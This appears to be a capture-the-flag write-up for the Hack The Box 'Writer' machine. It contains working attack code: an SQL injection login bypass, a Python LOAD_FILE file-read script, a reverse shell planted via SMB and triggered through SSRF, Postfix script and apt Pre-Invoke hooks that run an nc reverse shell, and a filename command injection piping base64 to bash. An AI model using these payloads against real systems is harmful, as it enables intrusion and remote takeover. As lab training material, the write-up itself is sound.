Enumeration
IP-ADDR: 10.10.11.101 writer.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
- There is a smb share but anonymous access is not allowed
//10.10.11.101/writer2_project Mapping: DENIED, Listing: N/A
- Enum4linux found a user
kyle
Running Gobuster found /administrative
and /static
directory.
/administrative
have authentication bypass using sql injection
1
OR 1=1 -- -
There are 2 places with file upload option.
One in /dashboard/settings
And Second in /dashboard/stories/add
adding a stories also have url option in place of file upload.
Another directory /static
which have file indexing. we can see our uploaded files in the img
folder inside static
directory.
But looks like application is not vulnerable for file upload.
There is a clint side filter http://10.10.11.101/js/form-validator.js
which preventing ssrf from url in /dashboard/stories/add
It is easy to bypass with brup there’s only one catch, application is checking if url end with .jpg
Nothing useful back to /administrative
sql injection
Foothold
UNION sqli to file read
Fuzzing for UNION injection found after 6 columns and second column is reflected on the web page.
1
UNION select 1,2,3,4,5,6;-- -
Nothing interested in the database but database have FILE privileges And This allow us to read system file.
1
UNION select 1,privilege_type,3,4,5,6 FROM information_schema.user_privileges;-- -
Python script to simplify that process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re
import sys
import requests as r
import base64
url = 'http://10.10.11.101/administrative'
# injection = sys.argv[1] # "version()"
injection = f"TO_base64(LOAD_FILE('{sys.argv[1]}'))" # File Read
schema = ";" # sys.argv[2]
data = f"uname=test'+UNION+ALL+select+1,{injection},3,4,5,6+{schema}--+-&password=test"
header = {"Content-Type": "application/x-www-form-urlencoded"}
rspn = r.post(url, data=data, headers=header)
res = []
try:
res = re.findall(r'<h3 class="animation-slide-top">Welcome (.*?)</h3>', rspn.text.replace('\n', ''))[0]
except IndexError:
print(rspn.text)
else:
try:
print(base64.b64decode(res).decode('UTF-8'))
except Exception:
print(res)
apache wsgi
Find webapp root directory from /etc/apache2/sites-enabled/000-default.conf
/etc/apache2/sites-enabled/000-default.conf
is a very useful file if you have access to file read on a server.
- There’s also a host specified in the config file which is running same application’s dev version in the localhost on port 8080.
Apache server is using wsgi to host the web application.
- WSGI: The Web Server Gateway Interface is a simple calling convention for web servers to forward requests to web applications or frameworks written in the Python programming language.
This allow users to host python web apps in a apache/nginx like servers.
/var/www/writer.htb/writer.wsgi
is a python script that initiating python web app form __init__.py
file found from the comment.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python sqli.py /var/www/writer.htb/writer.wsgi
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
__init__.py
file found in web root directory in app folder writer
: /var/www/writer.htb/writer/__init__.py
Command injection in
__init__.py
Unintended Path
RCE using SSRF with smb
Found database creds from __init__.py
: admin:ToughPasswordToCrack
- Revise
- in the beginning, we found a smb share:
//10.10.11.101/writer2_project
- we have a user:
kyle
- and a password
ToughPasswordToCrack
which worked with userkyle
on smb share:kyle:ToughPasswordToCrack
- And a local dev server:
127.0.0.1:8080
- in the beginning, we found a smb share:
- Plus
- “writer2_project” share has local dev application source code.
- User “kyle” has read/write access in the share.
source code we got from smb share, dev application “writer_web” only has 1 function “home_page” calling from “views.py” which loads “index.html”
if we append reverse shell in views.py
it could give us shell.
And request http://127.0.0.1:8080/#.jpg
with ssrf we found in /dashboard/stories/add
Python script to automate the process
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#! /usr/bin/python3
import requests as r
from smb.SMBConnection import SMBConnection
#create temp file with shell content
def create_file():
f = open("/tmp/views.py", "w")
lhost = "10.10.14.44"
lport = 4141
views_py = f"""
from django.shortcuts import render
from django.views.generic import TemplateView
import os
def home_page(request):
os.system('/bin/bash -c "/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"')
template_name = "index.html"
return render(request,template_name)
"""
f.write(views_py)
f.close()
#upload/replace to smb share
def smb_put():
conn = SMBConnection('kyle', 'ToughPasswordToCrack', 'test_v1', 'v1', use_ntlm_v2=True)
assert conn.connect('10.10.11.101', 139)
with open('/tmp/views.py', 'rb') as file_obj:
conn.storeFile('writer2_project', '/writer_web/views.py', file_obj)
file_obj.close()
#invoke dev app on localhost with ssrf
def ssrf():
s = r.session()
url = 'http://10.10.11.101'
s.post(f"{url}/administrative", data="uname=test'+OR+1=1;--+-&password=test", headers={"Content-Type": "application/x-www-form-urlencoded"})
header = {"Content-Type": "multipart/form-data; boundary=---------------------------40554192439809207943475147343"}
data = """-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="author"\r\n\r\ntest\r\n-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="title"\r\n\r\ntest\r\n-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="tagline"\r\n\r\ntestAnd\r\n-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="image"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="image_url"\r\n\r\nhttp://127.0.0.1:8080/#.jpg\r\n-----------------------------40554192439809207943475147343\r\nContent-Disposition: form-data; name="content"\r\n\r\ntest\r\n-----------------------------40554192439809207943475147343--\r\n"""
s.post(f"{url}/dashboard/stories/add", headers=header, data=data)
s.close()
create_file()
smb_put()
ssrf()
Privesc
There are multiple users on the box
1
2
3
4
5
╔══════════╣ Users with console
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
root:x:0:0:root:/root:/bin/bash
dev app process
1
2
3
www-data 926 0.0 0.0 2608 604 ? Ss Dec13 0:00 | _ /bin/sh -c cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080
www-data 930 0.0 0.9 52668 39224 ? S Dec13 0:01 | _ python3 manage.py runserver 127.0.0.1:8080
www-data 54123 1.6 1.0 128976 43068 ? Sl 04:30 0:01 | _ /usr/bin/python3 manage.py runserver 127.0.0.1:8080
Active ports on local host
1
2
3
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 54123/python3
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
dev webapp is running django framework and we can use it to access database.
Got password hash for user “kyle” and cracked with hashcat
1
2
❯ hashcat -m 10000 hash /usr/share/wordlists/rockyou.txt --show
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
- System user kyle creds:
kyle:marcoantonio
User “kyle” is in 2 other groups besides defaults
1
2
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
These groups owned some files
1
2
3
4
5
(remote) www-data@writer:/$ find / -group filter 2>/dev/null
/etc/postfix/disclaimer
/var/spool/filter
(remote) www-data@writer:/$ find / -group smbgroup 2>/dev/null
/var/www/writer2_project
we already explore “writer2_project” and /var/spool/filter
is a empty directory and /etc/postfix/disclaimer
is a bash script with full read/write/execute permission.
postfix automate scripts
/etc/postfix/disclaimer
script looks like a post processing script for received emails.
And in Postfix these type of script executes from /etc/postfix/master.cf
config file.
And we can check that /etc/postfix/disclaimer
script is specified in the config file.
1
2
3
(remote) www-data@writer:/$ cat /etc/postfix/master.cf | tail -n 2
dfilt unix - n n - - pipe
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
This script is executing from user “john” when server received a email.
And if we fingerprint port 25, that port is running postfix server
1
2
(remote) www-data@writer:/$ nc 127.0.0.1 25
220 writer.htb ESMTP Postfix (Ubuntu)
So, we have everything, postfix server and script that execute by user “john” and writable by user “kyle”.
If we add reverse shell in the /etc/postfix/disclaimer
script and send a email to local server postfix execute that script with as well as our command as user “john”
To test the theory, i tried with a simple command and added it in the start of the script.
1
echo kwakkwak > /tmp/poorduck.txt
then connect to the postfix server using nc
and send a email to system user.
1
2
3
4
5
6
7
8
9
10
11
12
nc 127.0.0.1 25
MAIL FROM:brrrr@writer.htb
RCPT TO:john@writer.htb
DATA
From: brrrr@writer.htb
To: john@writer.htb
Subject: Test
Testing
.
And our specified file is created with echo command.
Got user “john” shell by adding ssh key
Invoke command with apt Configs
User “john” is in a group besides defaults
That means user “john” can write inside /etc/apt/apt.conf.d
directory
All of the files in /etc/apt/apt.conf.d/
are instructions for the configuration of APT. APT includes them in alphabetical order, so that the last ones can modify a configuration element defined in one of the first ones.
There are 2 invoke options in apt Pre-Invoke
and Post-Invoke
that allows to run commands before and after the apt command execute.
add any of the line based on the condition in apt config file.
1
2
APT::Update::Pre-Invoke {"COMMAND";};
APT::Update::Post-Invoke {"COMMAND";};
But apt only execute root/sudo and thats why there is a cronjob is running that executes /usr/bin/apt-get update
command in every few minutes, i found this by monitoring processes with pspy
1
2021/12/14 10:56:03 CMD: UID=0 PID=14803 | /usr/bin/apt-get update
So only thing we need to do is to create a config file inside /etc/apt/apt.conf.d
directory and wait for apt to get execute.
1
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 4141 >/tmp/f"};' > /etc/apt/apt.conf.d/000-shell
Unintended Foothold
Command Injection via filename
There are 2 path in the main webapp /dashboard/stories/add
and /dashboard/stories/edit/<id>
which has image upload functionality.
If image sourced from a url then it uses urllib.request.urlretrieve
to retrieve it and save that image.
- After get admin dashboard using sqli authentication bypass we can access to
/dashboard/stories/add
1
2
3
4
# ... [snip] ...
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
# ... [snip] ...
With normal http
protocol this function save loaded file from specified url as a tmp name
1
2
3
4
>>> import urllib.request
>>> local_filename, headers = urllib.request.urlretrieve('http://127.0.0.1:8000/test.jpg')
>>> print(local_filename)
/tmp/tmplzvbozxt
And thats why there is mv
command appending .jgp
in the filename.
But if we use file://
protocol, filename stayed as it is. This is because urlretrieve() function doing nothing nothing with file://
.
1
2
3
>>> local_filename, headers = urllib.request.urlretrieve('file:///tmp/test.jpg')
>>> print(local_filename)
/tmp/test.jpg
And there is no filter for this in the application and the fact that the application directly sends the filename into os.system
function which invokes system commands is bad.
Here we can inject command with filename using file://
protocol and get command execution.
Test
1
2
3
import urllib.request, os
local_filename, headers = urllib.request.urlretrieve('file:///tmp/;whoami;')
os.system("mv {} {}.jpg".format(local_filename, local_filename))
but file://
protocol only work in local filesystem. To achieve command execution with this bug first we need to upload a image with system command in it’s name.
The fact that the image upload is just checking for .jpg
anywhere in the filename.
1
2
3
4
5
# ... [snip] ...
if ".jpg" in image.filename:
# ... [snip] ...
something like 'kwakkwak.jpg;COMMAND;'
easily work here.
1
2
3
❯ echo 'ping -c 2 10.10.14.44 ' | base64
cGluZyAtYyAyIDEwLjEwLjE0LjQ0ICAK
❯ touch 'kwakkwak.jpg;echo cGluZyAtYyAyIDEwLjEwLjE0LjQ0ICAK|base64 -d|bash;'
upload that file using file upload and then once again edit/create post and this time load that uploaded file from file system with file://
protocol.
1
file:///var/www/writer.htb/writer/static/img/kwakkwak.jpg;echo cGluZyAtYyAyIDEwLjEwLjE0LjQ0ICAK|base64 -d|bash;
- Uploaded images are stored in
/var/www/writer.htb/writer/static/img/
- And keep in mind that there is a client side filter.